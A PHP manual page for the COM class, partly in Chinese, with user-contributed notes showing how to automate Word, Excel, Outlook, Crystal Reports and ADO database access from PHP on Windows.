This is a sample to make a parametrized query using ADO via COM, this sample was used with Foxpro but will work's with most ADO complient databases. This was tested on IIS with WIN XP pro.

<?
// Create the main connection
$dbc = new COM("ADODB.Connection")  or die ("connection create fail");
$dbc->Provider = "MSDASQL";
$dbc->Open("FoxDatabase");
// Creates a temporary record set
$RSet = new COM("ADODB.Recordset");
// Create one ADO command
$cm  = new COM("ADODB.Command");
$cm->Activeconnection = $dbc;
// the ? inside values will be the parameters $par01 and $par02
$cm->CommandText =  "Insert Into testtable ( mycharfield,mymemofield) VALUES (?,?)" ;
$cm->Prepared = TRUE;
// Creates and append 2 parameters
$par01 = $cm->CreateParameter('ppar01',129,1,50,'ABCDEFGHIKL');
$cm->Parameters->Append($par01);
$par02 = $cm->CreateParameter('ppar01',129,1,50,'123456789012346789');
$cm->Parameters->Append($par02);
// Call 10 times the exec comand to show 10 different queries
for ($i = 1; $i <= 10; $i++) {
  $par01->Value = 'Count '.$i;
  $par02->Value = 'Passing here'.$i.' times';
  $RSet = $cm->Execute;
}
$RSet = $dbc->Execute("select * from testtable");
while (!$RSet->EOF){
  echo $RSet->fields["mycharfield"]->value.' ' ;
  echo $RSet->fields["mymemofield"]->value ;
  echo '<BR>';
  $RSet->movenext();
}
$RSet->close;
$dbc->close;
$cm->close;
$RSet = null;
$dbc = null;
$cm = null;
?>
paulo at Ihatespam dot com
29-Jun-2002 01:48
Complementing Alex's Excell Example, let's print the SpreadSheet to a PDF file using Acrobat Distiller:

$wkb->PrintOut(NULL, NULL, NULL, NULL, "Acrobat Distiller");

There you go!!!
admin at purplerain dot org
19-Apr-2002 07:34
an easy way to convert your file from .doc to .html

// starting word
$word = new COM("word.application") or die("Unable to instanciate Word");

// if you want see thw World interface the value must be '1' else '0'
$word->Visible = 1;

//doc file location
$word->Documents->Open("E:\\first.doc");

//html file location  '8' mean HTML format
$word->Documents[1]->SaveAs("E:\\test_doc.html",8);

//closing word
$word->Quit();

//free the object from the memory
$word->Release();
$word = null;
admin at purplerain dot org
02-Apr-2002 07:01
An easy way to send e-mail using your default Outlook account:
<?
$objApp = new COM("Outlook.Application");
$myItem = $objApp->CreateItem(olMailItem);
$a=$myItem->Recipients->Add("admin@purplerain.org");
$myItem->Subject="Subject";
$myItem->Body="This is a Body Section now.....!";
$myItem->Display();
$myItem->Send();
?>
madon at cma-it dot com
08-Mar-2002 04:59
I thought this excel chart example could be useful.

Note the use of Excel.application vs Excel.sheet.

<pre>
<?php
   print "Hi";
#Instantiate the spreadsheet component.
#    $ex = new COM("Excel.sheet") or Die ("Did not connect");
$exapp = new COM("Excel.application") or Die ("Did not connect");

#Get the application name and version
print "Application name:{$ex->Application->value}<BR>" ;
print "Loaded version: {$ex->Application->version}<BR>";

$wkb=$exapp->Workbooks->add();
#$wkb = $ex->Application->ActiveWorkbook or Die ("Did not open workbook");
print "we opened workbook<BR>";

$ex->Application->Visible = 1; #Make Excel visible.
print "we made excell visible<BR>";

$sheets = $wkb->Worksheets(1); #Select the sheet
print "selected a sheet<BR>";
$sheets->activate; #Activate it
print "activated sheet<BR>";

#This is a new sheet
$sheets2 = $wkb->Worksheets->add(); #Add a sheet
print "added a new sheet<BR>";
$sheets2->activate; #Activate it
print "activated sheet<BR>";

$sheets2->name="Report Second page";

$sheets->name="Report First page";
print "We set a name to the sheet: $sheets->name<BR>";

# fills a columns
$maxi=20;
for ($i=1;$i<$maxi;$i++) {
   $cell = $sheets->Cells($i,5) ; #Select the cell (Row Column number)
   $cell->activate; #Activate the cell
   $cell->value = $i*$i; #Change it to 15000
}

$ch = $sheets->chartobjects->add(50, 40, 400, 100); # make a chartobject

$chartje = $ch->chart; # place a chart in the chart object
$chartje->activate; #activate chartobject
$chartje->ChartType=63;
$selected = $sheets->range("E1:E$maxi"); # set the data the chart uses
$chartje->setsourcedata($selected); # set the data the chart uses
print "set the data the chart uses <BR>";

$file_name="D:/apache/Apache/htdocs/alm/tmp/final14.xls";
if (file_exists($file_name)) {unlink($file_name);}
#$ex->Application->ActiveWorkbook->SaveAs($file_name); # saves sheet as final.xls
$wkb->SaveAs($file_name); # saves sheet as final.xls
print "saved<BR>";

#$ex->Application->ActiveWorkbook->Close("False");
$exapp->Quit();
unset($exapp);
?>

</pre>

Alex Madon
darkwings at 263 dot net
28-Feb-2002 01:11
now in PHP >=4.0.6
programming in window can use the
ADO through the COM like this:
$dbconn=new COM ("ADODB.Connection") or die ("connection create fail");
 $dbconn->Open("Provider=sqloledb;Data Source=ndht;Initial Catalog=printers;User Id=printers;Password=printers;");
 $rec=new COM("ADODB.Recordset") or die ("create Recordset error");
 while (!$rec->EOF)
 {
echo $rec->fields["fieldname"]->value."<br>";
$rec->movenext();
 }
 $rec->close();
 $dbconn->close();

but there's still a little question of working with the image field of mssql server.
kevin at vcconcepts dot com
01-Apr-2001 08:37
I thought i'd share with those of you unfamiliar with one of the cool things
about developing php on win32 systems..

http://www.phpbuilder.net/columns/alain20001003.php3

This is a good article, but i don't think the author hit the nail on the
head showing how useful this can be.

Now, checkout this article:
http://www.4guysfromrolla.com/webtech/040300-1.shtml

Notice how he describes 1) how to build a com object & 2) how to call and
use the com object from ASP.

In php, this is how you would call the same object:

<?
$instance = new COM("Checkyear.LeapYear");
$isleapyear = $instance->IsLeapYear($year);
$instance->close();
if($isleapyear) {
echo "The <b>$year</b> is a leap year";
}
else {
echo "The <b>$year</b> is not a leap year";
}
?>

I hope this helps someone.. you can contact me at kevin@vcconcepts.com if
you would like to discuss this further.
add a note add a note

后退 | 起点 | 前进
cpdf_translate | 上一级 | COM


COM

(no version information, might be only in CVS)

COM -- COM 类

大纲

$obj = new COM("server.object")

描述

COM 类提供了一个将 (D)COM 组件整合到 PHP 脚本中的框架。

方法

string COM::COM ( string module_name [, string server_name [, int codepage]] )

COM 类构造函数。参数：

module_name

被请求组件的名字或 class-id。

server_name

DCOM 服务器的名字，组件在此服务器上被取用。如果是 NULL，则假定是 localhost。想要允许 DCOM，必须将 php.ini 中的 com.allow_dcom 设为 TRUE。

codepage

指定用于将 PHP 字符串（php-strings）转换成 UNICODE 字符串（unicode-strings）的代码页，反之亦然。可用的值为 CP_ACP、CP_MACCP、CP_OEMCP、CP_SYMBOL、CP_THREAD_ACP, CP_UTF7 和 CP_UTF8。

例子 1. COM 示例 （1）

// 启动 word
$word = new COM("word.application") or die("Unable to instanciate Word");
print "Loaded Word, version {$word->Version}\n";

//将其置前
$word->Visible = 1;

//打开一个空文档
$word->Documents->Add();

//随便做些事情
$word->Selection->TypeText("This is a test...");
$word->Documents[1]->SaveAs("Useless test.doc");

//关闭 word
$word->Quit();

//释放对象
$word->Release();
$word = null;

例子 2. COM 示例 （2）

$conn = new COM("ADODB.Connection") or die("Cannot start ADO");
$conn->Open("Provider=SQLOLEDB; Data Source=localhost;
Initial Catalog=database; User ID=user; Password=password");

$rs = $conn->Execute("SELECT * FROM sometable");    // 记录集

$num_columns = $rs->Fields->Count();
echo $num_columns . "\n";

for ($i=0; $i < $num_columns; $i++)
{
    $fld[$i] = $rs->Fields($i);
}

$rowcount = 0;
while (!$rs->EOF)
{
    for ($i=0; $i < $num_columns; $i++)
    {
        echo $fld[$i]->value . "\t";
    }
    echo "\n";
    $rowcount++;            // rowcount 自增
    $rs->MoveNext();
}

$rs->Close();
$conn->Close();

$rs->Release();
$conn->Release();

$rs = null;
$conn = null;

add a note add a note User Contributed Notes
hwcshirley at gmail dot com
22-May-2006 01:59
Reply to: djogopatrao at gmail dot com
I have change little bit your code. Its work.

$COM_Object = "CrystalDesignRunTime.Application";
$my_report = "C:\\appserv\\www\\mc\\test.rpt";
$my_pdf = "C:\\appserv\www\\mc\\test.pdf";

$crapp= New COM($COM_Object) or die("Unable to Create Object");
$creport = $crapp->OpenReport($my_report, 1);
$creport->ReadRecords(); // attention!

$creport->ExportOptions->DiskFileName=$my_pdf;
$creport->ExportOptions->PDFExportAllPages=true;
$creport->ExportOptions->DestinationType=1; // Export to File
$creport->ExportOptions->FormatType=31; // Type: PDF
$creport->Export(false);
djogopatrao at gmail dot com
06-Apr-2006 03:25
My previous notes about Crystal Reports have vanished away, but anyway I was up to correct them.

The code above connects to COM (beware of the version number! search on the Registry Editor for the correct name to put in $COM_Object), opens a report from a file ($my_report), reload records from database and then exports it to a PDF file ($my_pdf).

* IMPORTANT * this code, when invoked from the browser (I'm using Apache) AND with a report that connects to a ODBC database, does not work (the problem is specificly the line ReadRecords(), but may arise without it too when data is not saved into the report file).

But when you run this code by PHP-CLI (that is, by the command line), it works ok! I bug-reported this, but have no answer till now ( give it a vote, if you thing it's important: http://bugs.php.net/bug.php?id=36959 ).

Also, exceptions may arise, so put it on a try_catch block.

--------------------------

// by dfcp '06 (djogopatrao@gmail.com)

$COM_Object = "CrystalReports11.ObjectFactory.1";
$my_report = "C:\\report.rpt";
$my_pdf = "C:\\report.pdf";

$ObjectFactory= New COM($COM_Object);
$crapp = $ObjectFactory->CreateObject("CrystalDesignRunTime.Application");
$creport = $crapp->OpenReport($my_report, 1);
$creport->ReadRecords(); // attention!

$creport->ExportOptions->DiskFileName=$my_pdf;
$creport->ExportOptions->PDFExportAllPages=true;
$creport->ExportOptions->DestinationType=1; // Export to File
$creport->ExportOptions->FormatType=31; // Type: PDF
$creport->Export(false);
djogopatrao at gmail dot com
04-Mar-2006 11:27
I found somewhere (http://www.recrystallize.com/merchant/supportfaq/supportfaq0003.htm) a list relating each version of Crystal Reports to its respective progID - it may help some fellows out there.

7          Crystal.CRPE.Application

8.0        CrystalRuntime.Application or CrystalRuntime.Application.8

8.5        CrystalRuntime.Application or CrystalRuntime.Application.8.5

9 (RDC)    CrystalRuntime.Application.9
9 (RAS)    CrystalReports.ObjectFactory.2
10 (RDC)  CrystalRuntime.Application.11
10 (CEE)  CrystalReports10.ObjectFactory.1

XI (RDC)  CrystalRuntime.Application.11
XI (RAS)  CrystalReports11.ObjectFactory.1
paul at completewebservices dot com dot au
29-Jan-2006 07:49
It seems that PHP does not support setting of properties with arguments.  This is how I got around the problem:

       // Object with method I want to set
       $auth = new COM("AUTHXOCX.AuthXOCXCtrl.1");

       // ScriptControl
       $oScript = new COM("MSScriptControl.ScriptControl");
       $oScript->Language = "VBScript";
       $oScript->AllowUI = TRUE;

       // Add out object to the control
       $oScript->AddObject('auth', $auth, true);

       // Create a VBScript function that allow me to set them
       $oScript->AddCode(
'Function fixAccess(accessname)
   auth.AuthDataReferrerEnabled(accessname) = 1
   auth.AuthDataAuthentiXDBEnabled(accessname) = 0
End Function');

       // Execute function
       $oScript->Run("fixAccess", $dir);
volker at kybs dot de
07-Oct-2005 03:51
To use the windows speech system install the "Speech SDK 5.1 for Windows applications" from the Microsoft homepage (free download).
Then you can do Text2Speech like this:

$voice = new COM("SAPI.SpVoice");
$voice->Speak("Hello, lets have a conversation");
sadi at unicornsoftbd dot com
06-Oct-2005 04:56
If your PHP is configured as ISAPI module then the COM object you create in ur php page will use the same memory space as the web server. If your COM object takes too much memory then this may force some COM error as PHP does not handle the memory usage of COM itself. And also Web server doesnt know what do to free COM memory. But if you use PHP as CGI then PHP itself handle the memory usage of COM. Once in a script where i used COM and PHP as ISAPI module i got unknown COM error.But when i used PHP as CGI there was no error. So those who want to use COM object in your application please be careful about it.
deletethis@bjoern(at)syltonline(doot)de
15-Sep-2005 10:36
If you can get the old "TaskScheduler.dll" and register it, it is quite simple to handle and start Windows tasks from PHP.
This is extremely useful when you got things to do which must be run in a different user context. Prepare a task with the user and use PHP & Com to build a webinterface for it.

Here is an example how to start a Windows task:

  function start_task ($taskname) {
   $SchedObj = new COM("Scheduler.SchedulingAgent.1");
   foreach ($SchedObj->Tasks as $task) {
     if (strtolower( (string) $task) == strtolower( $taskname.".job" )) {
         $task->Run();
     }
   }
  }

I'm also working on a class to handle infos, adding and removing of tasks via PHP. If you are interested drop me a line.
jbr at ya-right dot com
20-Aug-2005 04:07
Getting * directory * permissions ( attributes ) with COM

PHP (5) example...

<?
   $dir = 'e:/www/docs/www/docs/junk/';

   define ( 'READ_ONLY', 1 );
   define ( 'IS_HIDDEN', 2 );
   define ( 'IS_SYSTEM', 4 );

   $hold = array ();

   $obj = new COM ( 'scripting.filesystemobject' );

   if ( is_object ( $obj ) )
   {
       $all = $obj->getfolder ( $dir );

       foreach ( $all->subfolders AS $directory )
       {
           if ( substr ( $directory->name, - 3 ) != 'cnf' )
           {
               $hold[$dir . $directory->name . '/'] =  array ( 'read_only' => ( ( $directory->Attributes & READ_ONLY ) <> 0 ? 1 : 0 ), 'is_hidden' => ( ( $directory->Attributes & IS_HIDDEN ) <> 0 ? 1 : 0 ), 'is_system' => ( ( $directory->Attributes & IS_SYSTEM ) <> 0 ? 1 : 0 ) );
           }
       }

       $obj = null;
   }
   else
   {
       echo 'sorry can not crate object: file_system_object';
   }

   print_r ( $hold );
?>

To do the same thing for * files * with in the directory named in $dir, change above ( foreach() ) to what is below...

       foreach ( $all->files AS $file )
       {
           $hold[$file->name] =  array ( 'read_only' => ( ( $file->Attributes & READ_ONLY ) <> 0 ? 1 : 0 ), 'is_hidden' => ( ( $file->Attributes & IS_HIDDEN ) <> 0 ? 1 : 0 ), 'is_system' => ( ( $file->Attributes & IS_SYSTEM ) <> 0 ? 1 : 0 ) );
       }

pretty much anything you could think of doing in windows can be done using PHP and COM...

John
csaba at alum dot mit dot edu
04-Mar-2005 09:21
Getting IE to the foreground
If you are using a command line (CLI) version of PHP on a Win32 platform (e.g. XP Pro, SP2), you might want to have output directed to IE (perhaps you'll want to work with the output there) when Popup does not suffice (see my earlier post, below).

It's easy enough to get an instance of IE using $ie = new COM("InternetExplorer.Application");.  The problem is, you don't necessarily see it in the foreground (especially if you already have one open) and who wants to waste keystrokes getting to it?  The code below has been working for me (If you want to do other adjustments (e.g. $ie->Document->ParentWindow->resizeTo(800,500); or $ie->Document->Body->bgColor = "yellow";), doing them before the $ie->Visible = true; line will avoid screen distractions):

<?php
function newIEtoForeground($title, $evtPrefix="") {
   // brings new instance of IE to foreground with title $title
   if (!$extPrefix) $ie = new COM("InternetExplorer.Application");
   else $ie = new COM("InternetExplorer.Application", $evtPrefix);
   $ie->Navigate2("about:blank");
   $oWSH = new COM("WScript.Shell");
   while ($ie->ReadyState!=4) usleep(10000);

   $ie->Document->Title = ($tmpTitle = mt_rand());  //unique title
   $ie->Visible = true;
   while (!$oWSH->AppActivate("$tmpTitle - M")) usleep(10000);

   $ie->Document->Title = $title;
   $ie->Document->ParentWindow->opener="me";  // allows self.close()
   return $ie;
}
?>

Csaba Gabor from Vienna
csaba at alum dot mit dot edu
15-Feb-2005 04:22
Basic Windows IO
If you are using a command line (CLI) version of PHP on a Win32 platform, you might like to have a simple graphical interface to get input and output.  The following gives an illustration for both.

<?php
   // first we get some input
   $oScript = new COM("MSScriptControl.ScriptControl");
   $oScript->Language = "VBScript";
   $title = "I/O Demo: Input half";
   $initial = "Change this value";
   $prompt = "Please enter a value";

   $code = <<<EOF
Function getInput()
   inVal = InputBox("$prompt", "$title", "$initial")
   getInput = inVal        'how return values are assigned in VB
End Function
EOF;

   $oScript->AddCode($code);
   $input = $oScript->Eval("getInput()");
   if (gettype($input)=="NULL") $input = "Input box was cancelled";

   // now we show some output
   $oWSH = new COM("WScript.Shell");
   $title = "I/O Demo: Output half";
   $timeout = 2;        // 0 for no timeout
   $style = 0 + 48;    // buttons to show + alert symbol
   $oWSH->Popup($input, $timeout, $title, $style);
?>

This is example is overblown for illustrative purposes.  The whole input part collapses if the amount of code used is a single statement.  So, this would have sufficed:
$code = "InputBox(\"$prompt\", \"$title\", \"$initial\")";
$input = $oScript->Eval($code);

This technique exposes quite a bit of scripting power tied into the Windows operating system and VBScript.  However, you should have a really specific reason for using it since VBScript tends to be dog slow when compared to PHP in my tests.  Simple IO like this is good, however, and the popup size can be quite large.  Furthermore, this could be a viable route to go for accessing WinAPI's.

http://www.ss64.com/wsh/popup.html shows some documentation for $oWSH->Popup

Csaba Gabor from Vienna
phpguy _from_ toshpro _dot_ com
12-Nov-2004 09:55
if you ever need to connect to an access database (on the server, using the IIS or APACHE user account), here is code below that can help to ease the process.  It is written like this because we have a MySQL as well as an Access database and need to be able to switch back and forth.  The runQuery function will return a 2 dimensional array and can use column names or numbers for the index of the internal arrays.  External arrays are always integer-indexed.  We also have found issues with Access staying open and growing from 7MB to 2.5GB within two hours, so we open and close it each time we run a query.  If it is not a select query it will return TRUE.  if it fails with errors, it will return false.

There is a showErr flag that we mostly only use for MySQL, since you can output MySQL errors without PHP errors.  Access doesn't appear to be that friendly.

<?php

function runQuery(&$conn,
                   $strSQL,
                   $associative=true,
                   $debug=false,
                   $showSQL=false,
                   $showErr=false) {
   return runMSQuery($conn,$strSQL,$associative,$debug,$showSQL,$showErr);
   //return runMyQuery($conn,$strSQL,$associative,$debug,$showSQL,$showErr);
}

function openMSDB($dbfile="c:/path/and/filename.mdb") {
   if (!@$conn = new COM("ADODB.Connection"))
       exit("Unable to create an ADODB connection<br>");
   $strConn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=".$dbfile;
   @$conn->open($strConn);
   if($conn->State == 0) return false;
   return $conn;
}

function closeMSDB(&$conn) {
   @$conn->Close();
   $conn = null;
   return true;
}

function runMSQuery(&$conn,
                   $strSQL,
                   $associative=true,
                   $debug=false,
                   $showSQL=false,
                   $showErr=false) {
   if(!is_object($conn)) if(!$conn=openMSDB()) return false;
   if( $showSQL || $debug ) echo $strSQL."\n<br>\n";
   $rtn = false;
   if($debug) $rs = $conn->execute($strSQL);
   else $rs = @$conn->execute($strSQL);

   if(!$rs) {
       if($showErr) echo "Error running SQL.<br>\n";
       closeMSDB($conn);
       return false;
   }
   if ($rs->State == 0) {
       closeMSDB($conn);
       return true;
   } else {
       $rows=0;
       while(!$rs->EOF) {
           for($i=0;$i<$rs->Fields->count;$i++) {
               $rsf = $rs->Fields($i);
               if($associative) $rtn[$rows][$rsf->Name] = $rsf->value;
               else $rtn[$rows][$i] = $rsf->value;
           }
           $rows++;
           $rs->MoveNext();
       }
       if($rs->State != 0) $rs->Close();
       $rs = null;
   }
   if($debug) var_dump($rtn);
   closeMSDB($conn);
   return $rtn;
}
?>
sodeh at dana dot ir
30-Oct-2004 06:11
for connection to sql server and know the utf-8 code
use this method to connect the database

$db = new COM("ADODB.Connection",NULL, 65001 );
jbr at ya-right dot net
13-May-2004 02:23
"Keeping an instance of a Server object loaded"

When dealing with COM objects like 'Word' or 'Excel' you are pretty
much dealing with personal COM type objects. The reason I say this
is because they in no way have any direct relationship to a real COM
server object. The differences between a 'Server COM Object' and a
'Personal COM Type Object' are great. Server COM objects, do not contain
and properties or methods related to any type of program dialog.

Most Enterprise COM objects are designed to run under IIS where they
are loaded into the server process. So once the first instance call is
made or when the server is started the object loads it properties, methods
and data related to the service the object provides!

Many objects load large data set(s) 10 MB to 200 MB into memory, this makes
any process after the initial loading of the object fast and very system
friendly!

In PHP, when an initial instance of an object is loaded some where in a
PHP script, PHP will check if an instance of the object is already running
if it is, then it will use that instance. If it can not find an instance to
the object running, it will create a new instance to the object!

In the case of personal COM type objects, you can point to a running instance
of an object, and reference that instance...

<?

$obj = new COM ( 'X:\reports\june.doc' );

?>

For Server type COM objects that load large data set(s), you really have no option
because each script run will unload the instance at the end of the script's run time.
Unless another http request is running and the new http request can access the other
object instance, you will have to load all the objects properties and methods and data
set(s) used by the object!

One way to work around this is to write a wrapper that can load the object into the
PHP or the Server process! I did this for the objects I use.

Another unorthodox way is to load your web browser to a PHP script that uses a combination
of ignore_user_abort(), set_time_limit(), load the object, sleep();!

Before I wrote the wrapper for a 'Map Server Object' I use in one of my project. I used
the 'unorthodox way' for almost a year and had over 15,000 object requests a day, and
never did the instance of the object ever have to start a new instance, ie: reload all the properties and methods and data
set(s) used by the object!

Like I said this is a very 'unorthodox way' to keep an object loaded, but it works!

set the object 'My.Object' in the script, call the script from the browser, then close the browser!

<?

   ignore_user_abort ( 'true' );

   set_time_limit ( 0 );

   com_load_typelib ( 'My.Object' ) or die ( 'Could not load TypeLib' );

   $obj = new COM ( 'My.Object' ) or die ( 'Could not load object' );

   $obj = null;

   sleep ( 63166608000 ); // one year

?>

John
flintjt at hotmail dot com
12-Mar-2004 03:45
I have searched for ways to open and read an excel document and I found some information which I thought that I would document.  Information on the object model to help with programming COM objects can be found in your MS Office help files, search for VBA*.chm.
Also, here is a script that I used to pull a cell from each worksheet, complete w/ variable for pathnames & worksheets.  This script also closes excel completely.  The coding might be dirty, but it gets the job done.
--------copy from here-----------
<pre>
<?PHP
$filename = "c:/spreadhseet/test.xls";
$sheet1 = 1;
$sheet2 = "sheet2";
$excel_app = new COM("Excel.application") or Die ("Did not connect");
print "Application name: {$excel_app->Application->value}\n" ;
print "Loaded version: {$excel_app->Application->version}\n";
$Workbook = $excel_app->Workbooks->Open("$filename") or Die("Did not open $filename $Workbook");
$Worksheet = $Workbook->Worksheets($sheet1);
$Worksheet->activate;
$excel_cell = $Worksheet->Range("C4");
$excel_cell->activate;
$excel_result = $excel_cell->value;
print "$excel_result\n";
$Worksheet = $Workbook->Worksheets($sheet2);
$Worksheet->activate;
$excel_cell = $Worksheet->Range("C4");
$excel_cell->activate;
$excel_result = $excel_cell->value;
print "$excel_result\n";
#To close all instances of excel:
$Workbook->Close;
unset($Worksheet);
unset($Workbook);
$excel_app->Workbooks->Close();
$excel_app->Quit();
unset($excel_app);
?>
</pre>
----------------------------------
jon at jonroig dot com
04-Dec-2003 04:28
Here's a simple example of printing formatted templates with MS Word.

To begin with, I've already built my invoice in Word and saved it as an RTF file.
In this case, I'm using "sampleInvoice.php"

Fields that will be replaced have been marked as ||CUSTOMER ID|| and so on.

<?php
$dataText = "";

// open the file
if(!($fp= fopen ("C:\wordTest\sampleInvoice.rtf", "r"))) die ("Can't open");
$dataText = fread($fp, 2000000);
fclose ($fp);

// replace the template fields
$dataText = str_replace ("||CUSTOMER ID||",$customerIDValue, $dataText);

// save the file as an rtf
$timeStamp = time();
$saveFile = "C:/wordTemp/".$timeStamp."-invoice-".$customerIDValue.".rtf";
if(!($fq= fopen ($saveFile, "w+"))) die ("Can't open");
fwrite ($fq, $dataText);
fclose ($fq);

// initialize the word components
$word = new COM("word.application") or die("Unable to instantiate Word");

print "Loaded word version ($word->Version)\n";
$word->visible = true;
$word->Documents->Add();

// open the file
$word->Documents->Open("$saveFile");

// output the file to the default printer
$word->ActiveDocument->PrintOut(1);

// shutdown word
$word->Quit();
?>
jnv at jnv dot ch
03-Dec-2003 07:42
Be sure you have Word, Excel, .. on your server or it will not work !
drich at nea-online dot net
19-Nov-2003 06:47
Changing Fields (Not FORMFIELDS) In MS Word....

Searched most of the afternoon for this, as it is something needed here for our projects.  Maybe this can help someone else as well.

<?php
$input = "x:\\path\\to\\test.doc";
$word = @new COM("word.application") or die("Unable to instantiate Word");
print "Loaded Word, version {$word->Version}\n<br>";
$word->Visible = 1;
print "Set Word To Visible<br>";
$word->Documents->Open($input);
print "Opened $input<br>";
$word->Activate;
print "Activated Word<br>";

print "Editing Fields<br>";
$Field = $word->ActiveDocument->Fields(1);
$fieldData = $Field->Result;
$fieldData->Text = "Testing";

// Print the document.
$word->Printout();

// closing word
$word->Quit();

// free the object
$word->Release();
$word = null;

?>
Mihael Peternelj; Slovenia
18-Oct-2003 08:22
If you wnat to connect to Access MDB Library you can use this small "progy". It works so, that if someone other accesses the library, it waits for so long to access it again because (as i know) MDB librarys can be accessed only once at the same time.

<?php
function mdb($sql, $array = 0, $base = "Base.mdb", $timelimit = 5)
   {
   $r_items = array();
   $c = new COM("ADODB.Connection");
   $r = false;
   $time = time();
   $process = $i = 0;
   while($r == false && $process <= $timelimit)
       {
       $deb = $c->open('DRIVER={Microsoft Access Driver (*.mdb)}; Dbq='. realpath($base) .';');
       $r = $c->execute($sql);
       $process = time() - $time;
       }
   if($process >= $timelimit) exit("mdbSQL Query Timeout!");
   if(strtolower(substr($sql, 0, 6)) == "insert" or strtolower(substr($sql, 0, 6)) == "update" or strtolower(substr($sql, 0, 6)) == "delete") return true;
   $num_fields = $r->fields->count();
   while (!$r->EOF)
       {
       for($j = 0; $j < $num_fields; $j++)
           {
           $key = $r->Fields($j);
           if($array == 0) $r_items[$i][$key->name] = $key->value;
           else $r_items[$i][$j] = $key->value;
           }
       $i++;
       $r->MoveNext();
       }
   $r->close();
   $c->close();
   $r = null;
   $c = null;
   return $r_items;
   }
?>

I got the source from the Manual, what i did is that i made it more compatible and user frendly. :)

I hope it could some day help someone so as it did me...

Greetings from Slovenia!

Mihael Peternelj
admin at CdnDomainRegistry dot ca
21-Sep-2003 06:57
Here's an example/comparison of VBScript vs PHP's COM component to connect to an IIS Webserver.
The examples backup the IIS MetaBase (your server's website(s) configuration) in IIS.

VBScript:
  Dim obj, iFlags
  Set obj = GetObject("IIS://LocalHost")
  ' Backup to next available version number.
  ' Set flags to save the metabase first and
  ' force the backup even if save fails.
  iFlags = (MD_BACKUP_SAVE_FIRST or MD_BACKUP_FORCE_BACKUP)
  obj.Backup "MyBackups", MD_BACKUP_NEXT_VERSION, iFlags
  ' Note: The above was copied from Microbucks.
  ' This is how you would have to do it.
  ' i.e. use the actual constant's value.
  iFlags = (2 or 4)
  obj.Backup "MyBackups", &HFFFFFFFF, iFlags

PHP:
  <?php
  $obj = new COM("IIS://LocalHost")or die("Unable to instantiate IIS");
  $err = com_invoke ($obj, "Backup", "MyBackups", "&HFFFFFFFF", 2|4 );
  $obj = null;
  print "err=".$err; // returns 0 on success
  ?>

Glen
21-Sep-2003 01:49
Example on how to read a registry value:

<?php
  $shell= &new COM('WScript.Shell');
  var_dump($shell->regRead('HKEY_CURRENT_USER\Environment\TEMP'));
?>

(outputs string(39) "%USERPROFILE%\Lokale Einstellungen\Temp" on my system)
EuresMan
01-Aug-2003 06:21
To mstaiger
I have encountered the same problem you report.
I tried to use the above code for a word document but it doesn't works, although the same code was good if i use it on a excel sheet.

The solution is explained at the following link :
http://www.phpbuilder.net/columns/venkatesan20030501.php3
rickardsjoquist at hotmail dot com
10-Jul-2003 01:33
If you want to use a DSN-less connection to a database (access for example) and return the results of a query as a multidimensional array with the fieldnames as identifier try this. Hope it helps someone :-)
--------------------------------------------------------

<?php
function db($sql) {
   $c = new COM("ADODB.Connection");
   $c->open('DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=' . realpath("relative_path/db.mdb"));
   $r = $c->execute($sql);
   $i = 0;
   $num_fields = $r->fields->count();
   while (!$r->EOF)
       {
           for($j = 0;$j<$num_fields;$j++) {
           $key = $r->Fields($j);
           $r_items[$i][$key->name] = $key->value;
       }
       $i++;
       $r->MoveNext();
   }
   $r->close();
   $c->close();
   $r = null;
   $c = null;
   return $r_items;
}
?>

--------------------------------------------------------
use it like this:
--------------------------------------------------------
<?php
$results = db("SELECT field_a, field_b FROM table");
foreach($result as $i => $item) {
   echo $item['field_a'];
   echo $item['field_b'];
}
?>
--------------------------------------------------------
You can also use: print_r($result); if you want the structure of the array to be printed.
info at sharedprojects dot nl
17-Jun-2003 12:41
<?php
// An other way to connect
// this connect to a ODBC-datasourced added in the
// ODBC Data Source Administrator under System DSN

$odbcname = "northwind";
$conn->Open("DSN=$odbcname");
?>
eguan1ao_at_yahoo_dot_com
21-Nov-2002 05:35
An example of connecting to a Microsoft Access database, executing an SQL query, and displaying the results in HTML.

<?php

$db = 'C:\\Program Files\\Microsoft Office\\Office\\Samples\\Northwind.mdb';

$conn = new COM('ADODB.Connection');

// Two ways to connect. Choose one.
$conn->Open("Provider=Microsoft.Jet.OLEDB.4.0; Data Source=$db");
//$conn->Open("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=$db");

$sql = 'SELECT  ProductName, QuantityPerUnit, UnitPrice
         FROM    Products
         ORDER BY ProductName';
$rs = $conn->Execute($sql);

?>

<table>
<tr>
         <th>Product Name</th>
         <th>Quantity Per Unit</th>
         <th>Unit Price</th>
</tr>
<?php while (!$rs->EOF): ?>
        <tr>
                 <td><?= $rs->Fields['ProductName']->Value ?></td>
                   <td><?= $rs->Fields['QuantityPerUnit']->Value ?></td>
                 <td><?= $rs->Fields['UnitPrice']->Value ?></td>
         </tr>
         <?php $rs->MoveNext() ?>
<?php endwhile ?>
</table>

<?php

$rs->Close();
$conn->Close();

?>
kmason at avaya dot com
30-Jul-2002 12:56
It should be noted that to run anything that needs to interact with the UI (the word example), one needs to ensure that the process that the Web server is running under can access the UI.  For Apache, this is an option in the Services control panel.
nospam at zamang dot co dot uk
09-Jun-2002 06:20
The above Word example did not work for me when I tried it using Office 2000. I had to install the Office 2000 SR 2 upgrade to get everything working. It seems that the upgrade fixes some problems with permissions that affect PHP and some other applications that use COM.

David McCormack
yinon at xacct dot com
07-Apr-2002 04:33
In order to get the Word exaple running, do the following on the server side.
Worked for me...
1. Click START-->RUN and enter "dcomcnfg"
2. In the "Applications" tab, go down to "Microsoft Word Document"
3. Click PROPERTIES button
4. Go to the "Security" Tab
5. Click "Use custom access permissions", and then click EDIT
6. Click ADD and then click SHOW USERS
7. Highlight the IIS anonymous user account (usually IUSR_<machinename>), click ADD
8. Go back to the "Security" tab by hitting OK
9. Click "Use custom launch permissions", and the click EDIT
10. Click ADD and then click SHOW USERS
11. Highlight the IIS anonymous user account (usually IUSR_<machinename>), click ADD
12. Hit OK, and then hit APPLY.

Also, you should look at the "Identity" tab in the Microsoft Word Document PROPERTIES and see that it is set to "Interactive User"

ALSO, log into the machine AS the IUSR_<machinename> account, start word, and make sure to click through the dialog boxes that Word shows the first time it is run for a certain user.  In other words, make sure Word opens cleanly for the IUSR_ user.

More useful information could be found here:
http://www.email-screen.com/support-doc2txt.html
Franky at boucheros dot com
19-Mar-2002 10:38
For Access to Ms Access
